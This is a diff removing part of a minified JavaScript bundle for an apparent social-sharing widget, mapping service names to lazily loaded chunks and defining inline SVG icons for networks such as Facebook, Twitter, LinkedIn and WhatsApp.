-                (a.memonic = (e) => {
-                    n.e(97, () => {
-                        e(n(202));
-                    });
-                }),
-                (a.addressbar = (e) => {
-                    n.e(98, () => {
-                        e(n(203));
-                    });
-                }),
-                (a.kaixin = (e) => {
-                    n.e(99, () => {
-                        e(n(204));
-                    });
-                }),
-                (a.odnoklassniki_ru = (e) => {
-                    n.e(100, () => {
-                        e(n(205));
-                    });
-                }),
-                (a.jappy = (e) => {
-                    n.e(101, () => {
-                        e(n(206));
-                    });
-                }),
-                (a.vkrugudruzei = (e) => {
-                    n.e(102, () => {
-                        e(n(207));
-                    });
-                }),
-                (a.stylishhome = (e) => {
-                    n.e(103, () => {
-                        e(n(208));
-                    });
-                }),
-                (a.kindleit = (e) => {
-                    n.e(104, () => {
-                        e(n(209));
-                    });
-                }),
-                (a.scoopit = (e) => {
-                    n.e(105, () => {
-                        e(n(210));
-                    });
-                }),
-                (a.govn = (e) => {
-                    n.e(106, () => {
-                        e(n(211));
-                    });
-                }),
-                (a.skyrock = (e) => {
-                    n.e(107, () => {
-                        e(n(212));
-                    });
-                }),
-                (a.ketnooi = (e) => {
-                    n.e(108, () => {
-                        e(n(213));
-                    });
-                }),
-                (a.taringa = (e) => {
-                    n.e(109, () => {
-                        e(n(214));
-                    });
-                }),
-                (a.researchgate = (e) => {
-                    n.e(110, () => {
-                        e(n(215));
-                    });
-                }),
-                (a.mendeley = (e) => {
-                    n.e(111, () => {
-                        e(n(216));
-                    });
-                }),
-                (a.qrsrc = (e) => {
-                    n.e(112, () => {
-                        e(n(217));
-                    });
-                }),
-                (a.bland = (e) => {
-                    n.e(113, () => {
-                        e(n(218));
-                    });
-                }),
-                (a.sharer = (e) => {
-                    n.e(114, () => {
-                        e(n(219));
-                    });
-                }),
-                (a.safelinking = (e) => {
-                    n.e(115, () => {
-                        e(n(220));
-                    });
-                }),
-                (a.disqus = (e) => {
-                    n.e(116, () => {
-                        e(n(221));
-                    });
-                }),
-                (a.surfingbird = (e) => {
-                    n.e(117, () => {
-                        e(n(222));
-                    });
-                }),
-                (a.lidar = (e) => {
-                    n.e(118, () => {
-                        e(n(223));
-                    });
-                }),
-                (a.buffer = (e) => {
-                    n.e(119, () => {
-                        e(n(224));
-                    });
-                }),
-                (a.beat100 = (e) => {
-                    n.e(120, () => {
-                        e(n(225));
-                    });
-                }),
-                (a.cssbased = (e) => {
-                    n.e(121, () => {
-                        e(n(226));
-                    });
-                }),
-                (a.apsense = (e) => {
-                    n.e(122, () => {
-                        e(n(227));
-                    });
-                }),
-                (a.openthedoor = (e) => {
-                    n.e(123, () => {
-                        e(n(228));
-                    });
-                }),
-                (a.advqr = (e) => {
-                    n.e(124, () => {
-                        e(n(229));
-                    });
-                }),
-                (a.pocket = (e) => {
-                    n.e(125, () => {
-                        e(n(230));
-                    });
-                }),
-                (a.margarin = (e) => {
-                    n.e(126, () => {
-                        e(n(231));
-                    });
-                }),
-                (a.gg = (e) => {
-                    n.e(127, () => {
-                        e(n(232));
-                    });
-                }),
-                (a.thefancy = (e) => {
-                    n.e(128, () => {
-                        e(n(233));
-                    });
-                }),
-                (a.mixi = (e) => {
-                    n.e(129, () => {
-                        e(n(234));
-                    });
-                }),
-                (a.wishmindr = (e) => {
-                    n.e(130, () => {
-                        e(n(235));
-                    });
-                }),
-                (a.financialjuice = (e) => {
-                    n.e(131, () => {
-                        e(n(236));
-                    });
-                }),
-                (a.myvidster = (e) => {
-                    n.e(132, () => {
-                        e(n(237));
-                    });
-                }),
-                (a.exchangle = (e) => {
-                    n.e(133, () => {
-                        e(n(238));
-                    });
-                }),
-                (a.wanelo = (e) => {
-                    n.e(134, () => {
-                        e(n(239));
-                    });
-                }),
-                (a.hootsuite = (e) => {
-                    n.e(135, () => {
-                        e(n(240));
-                    });
-                }),
-                (a.internetarchive = (e) => {
-                    n.e(136, () => {
-                        e(n(241));
-                    });
-                }),
-                (a.behance = (e) => {
-                    n.e(137, () => {
-                        e(n(242));
-                    });
-                }),
-                (a.vimeo = (e) => {
-                    n.e(138, () => {
-                        e(n(243));
-                    });
-                }),
-                (a.flickr = (e) => {
-                    n.e(139, () => {
-                        e(n(244));
-                    });
-                }),
-                (a.instagram = (e) => {
-                    n.e(140, () => {
-                        e(n(245));
-                    });
-                }),
-                (a.foursquare = (e) => {
-                    n.e(141, () => {
-                        e(n(246));
-                    });
-                }),
-                (a.rss = (e) => {
-                    n.e(142, () => {
-                        e(n(247));
-                    });
-                }),
-                (a.youtube = (e) => {
-                    n.e(143, () => {
-                        e(n(248));
-                    });
-                }),
-                (a.flipboard = (e) => {
-                    n.e(144, () => {
-                        e(n(249));
-                    });
-                }),
-                (a.nurses_lounge = (e) => {
-                    n.e(145, () => {
-                        e(n(250));
-                    });
-                }),
-                (a.yummly = (e) => {
-                    n.e(146, () => {
-                        e(n(251));
-                    });
-                }),
-                (a.viber = (e) => {
-                    n.e(147, () => {
-                        e(n(252));
-                    });
-                }),
-                (a.edcast = (e) => {
-                    n.e(148, () => {
-                        e(n(253));
-                    });
-                }),
-                (a.slack = (e) => {
-                    n.e(149, () => {
-                        e(n(254));
-                    });
-                }),
-                (a.skype = (e) => {
-                    n.e(150, () => {
-                        e(n(255));
-                    });
-                }),
-                (a.link = (e) => {
-                    n.e(151, () => {
-                        e(n(256));
-                    });
-                }),
-                (a.houzz = (e) => {
-                    n.e(152, () => {
-                        e(n(257));
-                    });
-                }),
-                (a.weheartit = (e) => {
-                    n.e(153, () => {
-                        e(n(258));
-                    });
-                }),
-                (a.google_classroom = (e) => {
-                    n.e(154, () => {
-                        e(n(259));
-                    });
-                }),
-                (a.renren = (e) => {
-                    n.e(155, () => {
-                        e(n(260));
-                    });
-                }),
-                (a.tencentweibo = (e) => {
-                    n.e(156, () => {
-                        e(n(261));
-                    });
-                }),
-                (a.lineme = (e) => {
-                    n.e(157, () => {
-                        e(n(262));
-                    });
-                }),
-                (a.kakao = (e) => {
-                    n.e(158, () => {
-                        e(n(263));
-                    });
-                }),
-                (a.telegram = (e) => {
-                    n.e(159, () => {
-                        e(n(264));
-                    });
-                }),
-                (a.balatarin = (e) => {
-                    n.e(160, () => {
-                        e(n(265));
-                    });
-                }),
-                (a.pinboard = (e) => {
-                    n.e(161, () => {
-                        e(n(266));
-                    });
-                }),
-                (a.diary_ru = (e) => {
-                    n.e(162, () => {
-                        e(n(267));
-                    });
-                }),
-                (a['500px'] = (e) => {
-                    n.e(163, () => {
-                        e(n(268));
-                    });
-                }),
-                (a.aboutme = (e) => {
-                    n.e(164, () => {
-                        e(n(269));
-                    });
-                }),
-                (a.bandcamp = (e) => {
-                    n.e(165, () => {
-                        e(n(270));
-                    });
-                }),
-                (a.bitbucket = (e) => {
-                    n.e(166, () => {
-                        e(n(271));
-                    });
-                }),
-                (a.dribbble = (e) => {
-                    n.e(167, () => {
-                        e(n(272));
-                    });
-                }),
-                (a.github = (e) => {
-                    n.e(168, () => {
-                        e(n(273));
-                    });
-                }),
-                (a.gitlab = (e) => {
-                    n.e(169, () => {
-                        e(n(274));
-                    });
-                }),
-                (a.medium = (e) => {
-                    n.e(170, () => {
-                        e(n(275));
-                    });
-                }),
-                (a.mixcloud = (e) => {
-                    n.e(171, () => {
-                        e(n(276));
-                    });
-                }),
-                (a.periscope = (e) => {
-                    n.e(172, () => {
-                        e(n(277));
-                    });
-                }),
-                (a.quora = (e) => {
-                    n.e(173, () => {
-                        e(n(278));
-                    });
-                }),
-                (a.slashdot = (e) => {
-                    n.e(174, () => {
-                        e(n(279));
-                    });
-                }),
-                (a.slideshare = (e) => {
-                    n.e(175, () => {
-                        e(n(280));
-                    });
-                }),
-                (a.snapchat = (e) => {
-                    n.e(176, () => {
-                        e(n(281));
-                    });
-                }),
-                (a.soundcloud = (e) => {
-                    n.e(177, () => {
-                        e(n(282));
-                    });
-                }),
-                (a.spotify = (e) => {
-                    n.e(178, () => {
-                        e(n(283));
-                    });
-                }),
-                (a.stack_overflow = (e) => {
-                    n.e(179, () => {
-                        e(n(284));
-                    });
-                }),
-                (a.steam = (e) => {
-                    n.e(180, () => {
-                        e(n(285));
-                    });
-                }),
-                (a.twitch = (e) => {
-                    n.e(181, () => {
-                        e(n(286));
-                    });
-                });
-                a.vine = (e) => {
-                    n.e(182, () => {
-                        e(n(287));
-                    });
-                };
-                (a.trello = (e) => {
-                    n.e(183, () => {
-                        e(n(288));
-                    });
-                }),
-                (a.wechat = (e) => {
-                    n.e(184, () => {
-                        e(n(289));
-                    });
-                }),
-                (a.tencentqq = (e) => {
-                    n.e(185, () => {
-                        e(n(290));
-                    });
-                }),
-                (a.deviantart = (e) => {
-                    n.e(186, () => {
-                        e(n(291));
-                    });
-                }),
-                (a.ello = (e) => {
-                    n.e(187, () => {
-                        e(n(292));
-                    });
-                }),
-                (a.goodreads = (e) => {
-                    n.e(188, () => {
-                        e(n(293));
-                    });
-                }),
-                (a.jsfiddle = (e) => {
-                    n.e(189, () => {
-                        e(n(294));
-                    });
-                }),
-                (a.letterboxd = (e) => {
-                    n.e(190, () => {
-                        e(n(295));
-                    });
-                }),
-                (a.ravelry = (e) => {
-                    n.e(191, () => {
-                        e(n(296));
-                    });
-                }),
-                (a.stack_exchange = (e) => {
-                    n.e(192, () => {
-                        e(n(297));
-                    });
-                }),
-                (a.untappd = (e) => {
-                    n.e(193, () => {
-                        e(n(298));
-                    });
-                }),
-                (a.yelp = (e) => {
-                    n.e(194, () => {
-                        e(n(299));
-                    });
-                }),
-                (a.messenger = (e) => {
-                    n.e(195, () => {
-                        e(n(300));
-                    });
-                }),
-                (a.facenama = (e) => {
-                    n.e(196, () => {
-                        e(n(301));
-                    });
-                }),
-                (a.sms = (e) => {
-                    n.e(197, () => {
-                        e(n(302));
-                    });
-                }),
-                (a.atavi = (e) => {
-                    n.e(198, () => {
-                        e(n(303));
-                    });
-                }),
-                (a.paypalme = (e) => {
-                    n.e(199, () => {
-                        e(n(304));
-                    });
-                }),
-                (a.venmo = (e) => {
-                    n.e(200, () => {
-                        e(n(305));
-                    });
-                }),
-                (a.amazonsmile = (e) => {
-                    n.e(201, () => {
-                        e(n(306));
-                    });
-                }),
-                (a.cashme = (e) => {
-                    n.e(202, () => {
-                        e(n(307));
-                    });
-                }),
-                (a.patreon = (e) => {
-                    n.e(203, () => {
-                        e(n(308));
-                    });
-                }),
-                (a.onenote = (e) => {
-                    n.e(204, () => {
-                        e(n(309));
-                    });
-                }),
-                (a.meetvibe = (e) => {
-                    n.e(205, () => {
-                        e(n(310));
-                    });
-                }),
-                (a.kakaotalk = (e) => {
-                    n.e(206, () => {
-                        e(n(311));
-                    });
-                }),
-                (a.vero = (e) => {
-                    n.e(207, () => {
-                        e(n(312));
-                    });
-                }),
-                (a.unknown = (e) => {
-                    n.e(208, () => {
-                        e(n(313));
-                    });
-                }),
-                (e.exports = {
-                    svg: a
-                });
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M8.523 10h2.19v10.558H5v-7.486h3.523V10zm0 8.796v-3.963h-1.32v3.963h1.32zm5.273-5.724v7.486h-2.2v-7.486h2.2zm0-3.072v2.19h-2.2V10h2.2zm.88 3.072h5.726V23.19h-5.725v-1.75H18.2v-.882h-3.523v-7.486zm3.524 5.724v-3.963h-1.32v3.963h1.32zm3.082-5.724h5.714V23.19h-5.714v-1.75h3.513v-.882h-3.513v-7.486zm3.513 5.724v-3.963h-1.322v3.963h1.322z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M22 5.16c-.406-.054-1.806-.16-3.43-.16-3.4 0-5.733 1.825-5.733 5.17v2.882H9v3.913h3.837V27h4.604V16.965h3.823l.587-3.913h-4.41v-2.5c0-1.123.347-1.903 2.198-1.903H22V5.16z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M16.213 13.998H26.72c.157.693.28 1.342.28 2.255C27 22.533 22.7 27 16.224 27 10.03 27 5 22.072 5 16S10.03 5 16.224 5c3.03 0 5.568 1.09 7.51 2.87l-3.188 3.037c-.808-.748-2.223-1.628-4.322-1.628-3.715 0-6.745 3.024-6.745 6.73 0 3.708 3.03 6.733 6.744 6.733 4.3 0 5.882-2.915 6.174-4.642h-6.185V14z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M26 25.963h-4.185v-6.55c0-1.56-.027-3.57-2.175-3.57-2.18 0-2.51 1.7-2.51 3.46v6.66h-4.182V12.495h4.012v1.84h.058c.558-1.058 1.924-2.174 3.96-2.174 4.24 0 5.022 2.79 5.022 6.417v7.386zM8.23 10.655a2.426 2.426 0 0 1 0-4.855 2.427 2.427 0 0 1 0 4.855zm-2.098 1.84h4.19v13.468h-4.19V12.495z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M27 15.5a2.452 2.452 0 0 1-1.338 2.21c.098.38.147.777.147 1.19 0 1.283-.437 2.47-1.308 3.563-.872 1.092-2.06 1.955-3.567 2.588-1.506.634-3.143.95-4.91.95-1.768 0-3.403-.316-4.905-.95-1.502-.632-2.69-1.495-3.56-2.587-.872-1.092-1.308-2.28-1.308-3.562 0-.388.045-.777.135-1.166a2.47 2.47 0 0 1-1.006-.912c-.253-.4-.38-.842-.38-1.322 0-.678.237-1.26.712-1.744a2.334 2.334 0 0 1 1.73-.726c.697 0 1.29.26 1.78.782 1.785-1.258 3.893-1.928 6.324-2.01l1.424-6.467a.42.42 0 0 1 .184-.26.4.4 0 0 1 .32-.063l4.53 1.006c.147-.306.368-.553.662-.74a1.78 1.78 0 0 1 .97-.278c.508 0 .94.18 1.302.54.36.36.54.796.54 1.31 0 .512-.18.95-.54 1.315-.36.364-.794.546-1.302.546-.507 0-.94-.18-1.295-.54a1.793 1.793 0 0 1-.533-1.308l-4.1-.92-1.277 5.86c2.455.074 4.58.736 6.37 1.985a2.315 2.315 0 0 1 1.757-.757c.68 0 1.256.242 1.73.726.476.484.713 1.066.713 1.744zm-16.868 2.47c0 .513.178.95.534 1.315.356.365.787.547 1.295.547.508 0 .942-.182 1.302-.547.36-.364.54-.802.54-1.315 0-.513-.18-.95-.54-1.31-.36-.36-.794-.54-1.3-.54-.5 0-.93.183-1.29.547a1.79 1.79 0 0 0-.54 1.303zm9.944 4.406c.09-.09.135-.2.135-.323a.444.444 0 0 0-.44-.447c-.124 0-.23.042-.32.124-.336.348-.83.605-1.486.77a7.99 7.99 0 0 1-1.964.248 7.99 7.99 0 0 1-1.964-.248c-.655-.165-1.15-.422-1.486-.77a.456.456 0 0 0-.32-.124.414.414 0 0 0-.306.124.41.41 0 0 0-.135.317.45.45 0 0 0 .134.33c.352.355.837.636 1.455.843.617.207 1.118.33 1.503.366a11.6 11.6 0 0 0 1.117.056c.36 0 .733-.02 1.117-.056.385-.037.886-.16 1.504-.366.62-.207 1.104-.488 1.456-.844zm-.037-2.544c.507 0 .938-.182 1.294-.547.356-.364.534-.802.534-1.315 0-.505-.18-.94-.54-1.303a1.75 1.75 0 0 0-1.29-.546c-.506 0-.94.18-1.3.54-.36.36-.54.797-.54 1.31s.18.95.54 1.315c.36.365.794.547 1.3.547z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><g fill-rule="nonzero"><path d="M26 6v11.077C26 18.123 25.105 19 24 19s-2-.877-2-1.923v-1a2 2 0 0 0-2-2 2 2 0 0 0-2 2v2.846c-.02 1.046-.915 1.923-2 1.923-1.12 0-2.013-.877-2-1.923V11.23a2.036 2.036 0 0 0-2-2c-1.062.024-1.922.822-2 1.847-.003.025-.003 4.275 0 12.75 0 1.045-.895 1.923-2 1.923s-2-.878-2-1.923V6h20z" opacity=".8"/><path d="M6 6v10.77c2.135-.006 3.878-1.648 4-3.693V11.23a.702.702 0 0 1 0-.153c.078-1.025.938-1.823 2-1.846 1.092.024 1.986.902 2 2v7.693c-.013 1.046.88 1.923 2 1.923 1.085 0 1.98-.877 2-1.923v-5.23C17.98 9.458 21.502 6 25.846 6H6"/></g></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M19.59 22.176c-.392.186-1.14.348-1.695.362-1.682.045-2.008-1.18-2.022-2.07V13.93h4.218v-3.18H15.89V5.403h-3.076c-.05 0-.138.044-.15.157-.18 1.636-.947 4.51-4.133 5.66v2.71h2.124v6.862c0 2.35 1.733 5.688 6.308 5.61 1.544-.028 3.258-.674 3.637-1.23l-1.01-2.996" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M27.996 10.116c-.81.36-1.68.602-2.592.71a4.526 4.526 0 0 0 1.984-2.496 9.037 9.037 0 0 1-2.866 1.095 4.513 4.513 0 0 0-7.69 4.116 12.81 12.81 0 0 1-9.3-4.715 4.49 4.49 0 0 0-.612 2.27 4.51 4.51 0 0 0 2.008 3.755 4.495 4.495 0 0 1-2.044-.564v.057a4.515 4.515 0 0 0 3.62 4.425 4.52 4.52 0 0 1-2.04.077 4.517 4.517 0 0 0 4.217 3.134 9.055 9.055 0 0 1-5.604 1.93A9.18 9.18 0 0 1 6 23.85a12.773 12.773 0 0 0 6.918 2.027c8.3 0 12.84-6.876 12.84-12.84 0-.195-.005-.39-.014-.583a9.172 9.172 0 0 0 2.252-2.336" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M19.996 11.757c1.905 0 3.45-1.513 3.45-3.38C23.445 6.513 21.9 5 19.995 5c-1.903 0-3.448 1.512-3.448 3.378s1.545 3.38 3.448 3.38zm4.995 5.233c-.09-2.574-2.242-4.638-4.893-4.638a4.934 4.934 0 0 0-3.24 1.206 3.62 3.62 0 0 0-3.318-2.133c-.944 0-1.8.356-2.443.935a2.596 2.596 0 0 0-2.494-1.82c-1.407 0-2.55 1.093-2.6 2.462H6v4.783h3.92v3.712h5.276V26H25v-9.01h-.01zm-11.526-6.006c1.405 0 2.545-1.116 2.545-2.492C16.01 7.115 14.87 6 13.463 6 12.06 6 10.92 7.114 10.92 8.49c0 1.376 1.14 2.492 2.544 2.492zm-4.914-.762c1.012 0 1.83-.803 1.83-1.794 0-.992-.818-1.795-1.83-1.795-1.01 0-1.83.804-1.83 1.795 0 .99.82 1.794 1.83 1.794z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M19.864 21.38H11.84a1.712 1.712 0 0 1 0-3.425h8.024a1.712 1.712 0 0 1 0 3.425zm-7.542-11.27l4.012.063a1.712 1.712 0 0 1-.054 3.424l-4.012-.064a1.712 1.712 0 0 1 .054-3.424zm13.4 9.404c-.007-.374-.008-.71-.01-1.014-.006-1.58-.012-2.83-1.016-3.803-.716-.694-1.565-.914-2.855-.962.176-.747.226-1.575.145-2.47-.02-2.973-2.234-5.18-5.304-5.264h-.043l-4.692.072c-1.844-.007-3.3.53-4.332 1.606-.638.666-1.362 1.83-1.45 3.72H6.16v.057a8.6 8.6 0 0 0-.006.393l-.12 7.125c-.008.143-.015.288-.016.437-.12 2.088.372 3.728 1.463 4.876 1.078 1.132 2.664 1.706 4.715 1.706H19.516c1.84-.017 3.393-.624 4.494-1.757 1.1-1.132 1.692-2.743 1.713-4.66v-.06z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32"><path d="M24.67 10.62h-2.86V7.49H10.82v3.12H7.95c-.5 0-.9.4-.9.9v7.66h3.77v1.31L15 24.66h6.81v-5.44h3.77v-7.7c-.01-.5-.41-.9-.91-.9zM11.88 8.56h8.86v2.06h-8.86V8.56zm10.98 9.18h-1.05v-2.1h-1.06v7.96H16.4c-1.58 0-.82-3.74-.82-3.74s-3.65.89-3.69-.78v-3.43h-1.06v2.06H9.77v-3.58h13.09v3.61zm.75-4.91c-.4 0-.72-.32-.72-.72s.32-.72.72-.72c.4 0 .72.32.72.72s-.32.72-.72.72zm-4.12 2.96h-6.1v1.06h6.1v-1.06zm-6.11 3.15h6.1v-1.06h-6.1v1.06z"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32"><path d="M26.56 13.56a.432.432 0 0 0-.4-.29h-7.51l-2.32-7.14c-.06-.17-.22-.28-.39-.28s-.34.11-.39.28l-2.34 7.14H5.72c-.18 0-.34.12-.39.29-.06.17.01.35.15.46l6.06 4.42-2.34 7.17c-.06.17.01.35.15.46.14.11.34.1.49 0l6.1-4.43 6.09 4.43c.07.05.16.08.24.08s.17-.03.24-.08c.15-.1.2-.29.15-.46l-2.34-7.18 6.08-4.42a.37.37 0 0 0 .16-.45z"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="M27 22.757c0 1.24-.988 2.243-2.19 2.243H7.19C5.98 25 5 23.994 5 22.757V13.67c0-.556.39-.773.855-.496l8.78 5.238c.782.467 1.95.467 2.73 0l8.78-5.238c.472-.28.855-.063.855.495v9.087z"/><path d="M27 9.243C27 8.006 26.02 7 24.81 7H7.19C5.988 7 5 8.004 5 9.243v.465c0 .554.385 1.232.857 1.514l9.61 5.733c.267.16.8.16 1.067 0l9.61-5.733c.473-.283.856-.96.856-1.514v-.465z"/></g></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="M14.722 19.784l-3.48-6.832-2.667 1.36 3.82 7.497.056-.03.313.61 10.608-5.404-.48-.944-3.65-7.165-2.667 1.36 3.48 6.83-1.332.68-3.48-6.832-2.666 1.358 3.48 6.832-1.332.68z"/><path d="M7.372 12.77c0-2.38 1.86-4.308 4.152-4.308h8.952c2.294 0 4.152 1.928 4.152 4.308v6.46c0 2.38-1.86 4.308-4.152 4.308h-8.952c-2.294 0-4.152-1.928-4.152-4.308v-6.46zM5 12.77v6.46C5 22.97 7.92 26 11.524 26h8.952C24.08 26 27 22.97 27 19.23v-6.46C27 9.03 24.08 6 20.476 6h-8.952C7.92 6 5 9.03 5 12.77z"/></g></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="M26.684 23.264H4.948v-12.88l.2-.1c.303-.202 7.046-4.73 8.152-5.435 1.41-.907 3.22-.806 4.63.1 1.308.804 8.453 5.333 8.453 5.333l.2.1.1 12.88zm-20.63-1.006H25.68v-11.27c-1.207-.806-7.044-4.53-8.252-5.133-1.107-.704-2.515-.704-3.622-.1-1.007.603-6.743 4.528-7.95 5.232.2.1.2 11.27.2 11.27z"/><path d="M21.753 16.622H10.08a1.59 1.59 0 0 1-1.61-1.61v-3.02c0-.905.704-1.61 1.61-1.61h11.673c.906 0 1.61.705 1.61 1.61v3.02a1.59 1.59 0 0 1-1.61 1.61zM9.98 11.49c-.404 0-.605.302-.605.604v3.02c0 .4.302.603.604.603H21.65c.403 0 .604-.302.604-.604v-3.02c0-.402-.302-.603-.604-.603H9.98z"/><path d="M25.778 21.956v-10.97l-5.837 4.53 5.838 6.44zM5.954 21.956v-10.97l5.837 4.53-5.836 6.44z"/><path d="M25.778 22.76l-6.138-6.74h-7.548l-6.137 6.74-.806-.603 6.54-7.145h8.353l6.54 7.145-.805.604z"/><path d="M25.945 10.334l.61.8-6.32 4.823-.61-.8zM5.902 10.386l6.326 4.814-.61.802-6.326-4.815zM15.816 17.83l.302 8.252 2.013-2.516 2.013 4.226 1.107-.503-2.113-4.227 3.22-.2-6.54-5.033z"/></g></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="M14.24 23.808c-3.64.367-6.785-1.307-7.022-3.734-.236-2.43 2.525-4.693 6.164-5.06 3.642-.367 6.786 1.307 7.02 3.734.24 2.43-2.522 4.696-6.16 5.06m7.28-8.063c-.31-.096-.523-.157-.362-.57.352-.898.39-1.672.006-2.227-.713-1.036-2.667-.98-4.907-.028 0 0-.705.312-.523-.253.343-1.125.29-2.065-.243-2.61-1.214-1.238-4.446.045-7.216 2.86C6.205 15.023 5 17.26 5 19.192c0 3.694 4.664 5.942 9.226 5.942 5.98 0 9.96-3.53 9.96-6.333.003-1.695-1.402-2.657-2.665-3.055M25.494 8.983a5.76 5.76 0 0 0-5.542-1.823.855.855 0 0 0-.646 1.015.84.84 0 0 0 1 .657c1.398-.303 2.912.138 3.938 1.295a4.254 4.254 0 0 1 .865 4.113c-.144.45.1.93.542 1.076a.84.84 0 0 0 1.06-.55v-.002a5.973 5.973 0 0 0-1.218-5.78"/><path d="M23.276 11.018a2.8 2.8 0 0 0-2.698-.885.74.74 0 0 0-.56.876c.086.396.472.65.86.563.467-.102.977.046 1.32.432.343.388.437.915.29 1.378a.742.742 0 0 0 .466.928.724.724 0 0 0 .913-.474c.3-.947.113-2.026-.59-2.818M14.44 19.41c-.126.223-.408.328-.627.235-.218-.09-.285-.34-.16-.555.127-.215.397-.32.612-.234.22.08.298.33.176.555m-1.16 1.512c-.353.57-1.11.82-1.676.558-.56-.26-.726-.922-.374-1.48.35-.555 1.078-.802 1.642-.56.57.25.753.905.407 1.482m1.322-4.04c-1.733-.46-3.69.42-4.443 1.97-.77 1.583-.025 3.34 1.723 3.914 1.815.595 3.95-.318 4.695-2.023.734-1.67-.182-3.39-1.976-3.86"/></g></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M26.712 10.96s-.167-.48-1.21-.348l-3.447.024a.785.785 0 0 0-.455.072s-.204.108-.3.37a22.1 22.1 0 0 1-1.28 2.695c-1.533 2.61-2.156 2.754-2.407 2.587-.587-.372-.43-1.51-.43-2.323 0-2.54.382-3.592-.756-3.868-.37-.084-.646-.144-1.616-.156-1.232-.012-2.274 0-2.86.287-.396.193-.695.624-.515.648.227.036.742.143 1.017.515 0 0 .3.49.347 1.568.13 2.982-.48 3.353-.48 3.353-.466.252-1.28-.167-2.478-2.634 0 0-.694-1.222-1.233-2.563-.097-.25-.288-.383-.288-.383s-.216-.168-.527-.216l-3.28.024c-.504 0-.683.228-.683.228s-.18.19-.012.587c2.562 6.022 5.483 9.04 5.483 9.04s2.67 2.79 5.7 2.597h1.376c.418-.035.634-.263.634-.263s.192-.214.18-.61c-.024-1.843.838-2.12.838-2.12.838-.262 1.915 1.785 3.065 2.575 0 0 .874.6 1.532.467l3.064-.048c1.617-.01.85-1.352.85-1.352-.06-.108-.442-.934-2.286-2.647-1.916-1.784-1.665-1.496.658-4.585 1.413-1.88 1.976-3.03 1.796-3.52z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M7 13.252c0 1.81.772 4.45 2.895 5.045.074.014.178.04.252.04.49 0 .772-1.27.772-1.63 0-.428-1.174-1.34-1.174-3.123 0-3.705 3.028-6.33 6.947-6.33 3.37 0 5.863 1.782 5.863 5.058 0 2.446-1.054 7.035-4.468 7.035-1.232 0-2.286-.83-2.286-2.018 0-1.742 1.307-3.43 1.307-5.225 0-1.092-.67-1.977-1.916-1.977-1.692 0-2.732 1.77-2.732 3.165 0 .774.104 1.63.476 2.336-.683 2.736-2.08 6.814-2.08 9.633 0 .87.135 1.728.224 2.6l.134.137.207-.07c2.494-3.178 2.405-3.8 3.533-7.96.61 1.077 2.182 1.658 3.43 1.658 5.254 0 7.614-4.77 7.614-9.067C26 7.987 21.755 5 17.094 5 12.017 5 7 8.15 7 13.252z" fill-rule="evenodd"/></svg>';
-            },
-            (e, t) => {
-                e.exports =
-                    '<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M19.11 17.205c-.372 0-1.088 1.39-1.518 1.39a.63.63 0 0 1-.315-.1c-.802-.402-1.504-.817-2.163-1.447-.545-.516-1.146-1.29-1.46-1.963a.426.426 0 0 1-.073-.215c0-.33.99-.945.99-1.49 0-.143-.73-2.09-.832-2.335-.143-.372-.214-.487-.6-.487-.187 0-.36-.043-.53-.043-.302 0-.53.115-.746.315-.688.645-1.032 1.318-1.06 2.264v.114c-.015.99.472 1.977 1.017 2.78 1.23 1.82 2.506 3.41 4.554 4.34.616.287 2.035.888 2.722.888.817 0 2.15-.515 2.478-1.318.13-.33.244-.73.244-1.088 0-.058 0-.144-.03-.215-.1-.172-2.434-1.39-2.678-1.39zm-2.908 7.593c-1.747 0-3.48-.53-4.942-1.49L7.793 24.41l1.132-3.337a8.955 8.955 0 0 1-1.72-5.272c0-4.955 4.04-8.995 8.997-8.995S25.2 10.845 25.2 15.8c0 4.958-4.04 8.998-8.998 8.998zm0-19.798c-5.96 0-10.8 4.842-10.8 10.8 0 1.964.53 3.898 1.546 5.574L5 27.176l5.974-1.92a10.807 10.807 0 0 0 16.03-9.455c0-5.958-4.842-10.8-10.802-10.8z" fill-rule="evenodd"/></svg>';
-            },
